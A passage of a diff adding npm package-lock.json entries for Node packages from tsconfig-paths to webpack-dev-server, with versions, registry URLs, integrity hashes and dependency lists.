"sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg==", + "dependencies": { + "@types/json5": "^0.0.29", + "json5": "^1.0.2", + "minimist": "^1.2.6", + "strip-bom": "^3.0.0" + } + }, + "node_modules/tsconfig-paths/node_modules/json5": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz", + "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==", + "dependencies": { + "minimist": "^1.2.0" + }, + "bin": { + "json5": "lib/cli.js" + } + }, + "node_modules/tsconfig-paths/node_modules/strip-bom": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz", + "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/tslib": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.6.2.tgz", + "integrity": "sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==" + }, + "node_modules/tsutils": { + "version": "3.21.0", + "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz", + "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==", + "dependencies": { + "tslib": "^1.8.1" + }, + "engines": { + "node": ">= 6" + }, + "peerDependencies": { + "typescript": ">=2.8.0 || >= 3.2.0-dev || >= 3.3.0-dev || >= 3.4.0-dev || >= 3.5.0-dev || >= 3.6.0-dev || >= 3.6.0-beta || >= 3.7.0-dev || >= 3.7.0-beta" + } + }, + "node_modules/tsutils/node_modules/tslib": { + "version": "1.14.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", + "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/type-is": { + "version": "1.6.18", + "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz", + "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==", + "dependencies": { + "media-typer": "0.3.0", + "mime-types": "~2.1.24" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/typed-array-buffer": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/typed-array-buffer/-/typed-array-buffer-1.0.1.tgz", + "integrity": "sha512-RSqu1UEuSlrBhHTWC8O9FnPjOduNs4M7rJ4pRKoEjtx1zUNOPN2sSXHLDX+Y2WPbHIxbvg4JFo2DNAEfPIKWoQ==", + "dependencies": { + "call-bind": "^1.0.6", + "es-errors": "^1.3.0", + "is-typed-array": "^1.1.13" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/typed-array-byte-length": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-length/-/typed-array-byte-length-1.0.0.tgz", + "integrity": "sha512-Or/+kvLxNpeQ9DtSydonMxCx+9ZXOswtwJn17SNLvhptaXYDJvkFFP5zbfU/uLmvnBJlI4yrnXRxpdWH/M5tNA==", + "dependencies": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-byte-offset": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/typed-array-byte-offset/-/typed-array-byte-offset-1.0.0.tgz", + "integrity": "sha512-RD97prjEt9EL8YgAgpOkf3O4IF9lhJFr9g0htQkm0rchFp/Vx7LW5Q8fSXXub7BXAODyUQohRMyOc3faCPd0hg==", + "dependencies": { + "available-typed-arrays": "^1.0.5", + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "has-proto": "^1.0.1", + "is-typed-array": "^1.1.10" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typed-array-length": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/typed-array-length/-/typed-array-length-1.0.4.tgz", + "integrity": "sha512-KjZypGq+I/H7HI5HlOoGHkWUUGq+Q0TPhQurLbyrVrvnKTBgzLhIJ7j6J/XTQOi0d1RjyZ0wdas8bKs2p0x3Ng==", + "dependencies": { + "call-bind": "^1.0.2", + "for-each": "^0.3.3", + "is-typed-array": "^1.1.9" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/typescript": { + "version": "4.9.5", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.9.5.tgz", + "integrity": "sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/unbox-primitive": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz", + "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==", + "dependencies": { + "call-bind": "^1.0.2", + "has-bigints": "^1.0.2", + "has-symbols": "^1.0.3", + "which-boxed-primitive": "^1.0.2" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/underscore": { + "version": "1.12.1", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.12.1.tgz", + "integrity": "sha512-hEQt0+ZLDVUMhebKxL4x1BTtDY7bavVofhZ9KZ4aI26X9SRaE+Y3m83XUL1UP2jn8ynjndwCCpEHdUG+9pP1Tw==" + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz", + "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "engines": { + "node": ">=4" + } + }, + "node_modules/unique-string": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz", + "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==", + "dependencies": { + "crypto-random-string": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/universalify": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.1.tgz", + "integrity": "sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==", + "engines": { + "node": ">= 10.0.0" + } + }, + "node_modules/unpipe": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz", + "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/unquote": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz", + "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg==" + }, + "node_modules/upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "engines": { + "node": ">=4", + "yarn": "*" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.13", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.13.tgz", + "integrity": "sha512-xebP81SNcPuNpPP3uzeW1NYXxI3rxyJzF3pD6sH4jE7o/IX+WtSpwnVU+qIsDPyk0d3hmFQ7mjqc6AtV604hbg==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==" + }, + "node_modules/util.promisify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz", + "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==", + "dependencies": { + "define-properties": "^1.1.3", + "es-abstract": "^1.17.2", + "has-symbols": "^1.0.1", + "object.getownpropertydescriptors": "^2.1.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/utila": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz", + "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA==" + }, + "node_modules/utils-merge": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", + "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-to-istanbul": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz", + "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.1", + "convert-source-map": "^1.6.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">=10.12.0" + } + }, + "node_modules/v8-to-istanbul/node_modules/convert-source-map": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-1.9.0.tgz", + "integrity": "sha512-ASFBup0Mz1uyiIjANan1jzLQami9z1PoYSZCiiYW2FczPbenXc45FZdBZLzOT+r6+iciuEModtmCti+hjaAk0A==" + }, + "node_modules/value-equal": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/value-equal/-/value-equal-1.0.1.tgz", + "integrity": "sha512-NOJ6JZCAWr0zlxZt+xqCHNTEKOsrks2HQd4MqhP1qy4z1SkbEP467eNx6TgDKXMvUOb+OENfJCZwM+16n7fRfw==" + }, + "node_modules/vary": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", + "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/w3c-hr-time": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", + "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", + "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.", + "dependencies": { + "browser-process-hrtime": "^1.0.0" + } + }, + "node_modules/w3c-xmlserializer": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz", + "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==", + "dependencies": { + "xml-name-validator": "^3.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/walker": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz", + "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==", + "dependencies": { + "makeerror": "1.0.12" + } + }, + "node_modules/warning": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/warning/-/warning-4.0.3.tgz", + "integrity": "sha512-rpJyN222KWIvHJ/F53XSZv0Zl/accqHR8et1kpaMTD/fLCRxtV8iX8czMzY7sVZupTI3zcUTg8eycS2kNF9l6w==", + "dependencies": { + "loose-envify": "^1.0.0" + } + }, + "node_modules/watchpack": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", + "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/wbuf": { + "version": "1.7.3", + "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz", + "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==", + "dependencies": { + "minimalistic-assert": "^1.0.0" + } + }, + "node_modules/web-vitals": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-1.1.2.tgz", + "integrity": "sha512-PFMKIY+bRSXlMxVAQ+m2aw9c/ioUYfDgrYot0YUa+/xa0sakubWhSDyxAKwzymvXVdF4CZI71g06W+mqhzu6ig==" + }, + "node_modules/webidl-conversions": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz", + "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w==", + "engines": { + "node": ">=10.4" + } + }, + "node_modules/webpack": { + "version": "5.90.2", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.90.2.tgz", + "integrity": "sha512-ziXu8ABGr0InCMEYFnHrYweinHK2PWrMqnwdHk2oK3rRhv/1B+2FnfwYv5oD+RrknK/Pp/Hmyvu+eAsaMYhzCw==", + "dependencies": { + "@types/eslint-scope": "^3.7.3", + "@types/estree": "^1.0.5", + "@webassemblyjs/ast": "^1.11.5", + "@webassemblyjs/wasm-edit": "^1.11.5", + "@webassemblyjs/wasm-parser": "^1.11.5", + "acorn": "^8.7.1", + "acorn-import-assertions": "^1.9.0", + "browserslist": "^4.21.10", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.15.0", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.9", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.10", + "watchpack": "^2.4.0", + "webpack-sources": "^3.2.3" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-middleware": { + "version": "5.3.3", + "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.3.tgz", + "integrity": "sha512-hj5CYrY0bZLB+eTO+x/j67Pkrquiy7kWepMHmUMoPsmcUaeEnQJqFzHJOyxgWlq746/wUuA64p9ta34Kyb01pA==", + "dependencies": { + "colorette": "^2.0.10", + "memfs": "^3.4.3", + "mime-types": "^2.1.31", + "range-parser": "^1.2.1", + "schema-utils": "^4.0.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.0.0 || ^5.0.0" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-middleware/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-middleware/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/webpack-dev-middleware/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/webpack-dev-middleware/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server": { + "version": "4.15.1", + "resolved": "https://registry.npmjs.org/webpack-dev-server/-/webpack-dev-server-4.15.1.tgz", + "integrity": "sha512-5hbAst3h3C3L8w6W4P96L5vaV0PxSmJhxZvWKYIdgxOQm8pNZ5dEOmmSLBVpP85ReeyRt6AS1QJNyo/oFFPeVA==", + "dependencies": { + "@types/bonjour": "^3.5.9", + "@types/connect-history-api-fallback": "^1.3.5", + "@types/express": "^4.17.13", + "@types/serve-index": "^1.9.1", + "@types/serve-static": "^1.13.10", + "@types/sockjs": "^0.3.33", + "@types/ws": "^8.5.5", + "ansi-html-community": "^0.0.8", + "bonjour-service": "^1.0.11", + "chokidar": "^3.5.3", + "colorette": "^2.0.10", + "compression": "^1.7.4", + "connect-history-api-fallback": "^2.0.0", + "default-gateway": "^6.0.3", + "express": "^4.17.3", + "graceful-fs": "^4.2.6", + "html-entities": "^2.3.2", + "http-proxy-middleware": "^2.0.3", + "ipaddr.js": "^2.0.1", + "launch-editor": "^2.6.0", + "open": "^8.0.9", + "p-retry": "^4.5.0", + "rimraf": "^3.0.2", + "schema-utils": "^4.0.0", + "selfsigned": "^2.1.1", + "serve-index": "^1.9.1", + "sockjs": "^0.3.24", + "spdy": "^4.0.2", + "webpack-dev-middleware": "^5.3.1", + "ws": "^8.13.0" + }, + "bin": { + "webpack-dev-server": "bin/webpack-dev-server.js" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependencies": { + "webpack": "^4.37.0 || ^5.0.0" + }, + "peerDependenciesMeta": { + "webpack": { + "optional": true + }, + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-dev-server/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/webpack-dev-server/node_modules/ajv-keywords": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz", + "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==", + "dependencies": { + "fast-deep-equal": "^3.1.3" + }, + "peerDependencies": { + "ajv": "^8.8.2" + } + }, + "node_modules/webpack-dev-server/node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==" + }, + "node_modules/webpack-dev-server/node_modules/html-entities": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/html-entities/-/html-entities-2.4.0.tgz", + "integrity": "sha512-igBTJcNNNhvZFRtm8uA6xMY6xYleeDwn3PeBCkDz7tHttv4F2hsDI2aPgNERWzvRcNYHNT3ymRaQzllmXj4YsQ==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/mdevils" + }, + { + "type": "patreon", + "url": "https://patreon.com/mdevils" + } + ] + }, + "node_modules/webpack-dev-server/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==" + }, + "node_modules/webpack-dev-server/node_modules/schema-utils": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.2.0.tgz", + "integrity": "sha512-L0jRsrPpjdckP3oPug3/VxNKt2trR8TcabrM6FOAAlvC/9Phcmm+cuAgTlxBqdBR1WJx7Naj9WHw+aOmheSVbw==", + "dependencies": { + "@types/json-schema": "^7.0.9", + "ajv": "^8.9.0", + "ajv-formats": "^2.1.1", + "ajv-keywords": "^5.1.0" + }, + "engines": { + "node": ">= 12.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + } + }, + "node_modules/webpack-dev-server/node_modules/ws": { + "version": "8.16.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.16.0.tgz", + "integrity": "sha512-HS0c//TP7Ina87TfiPUz1rQzMhHrl/SG2guqRcTOIUYD2q8uhUdNHZYJUaQ8aTGPzCh+c6oawMKW35nFl1dxyQ==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + 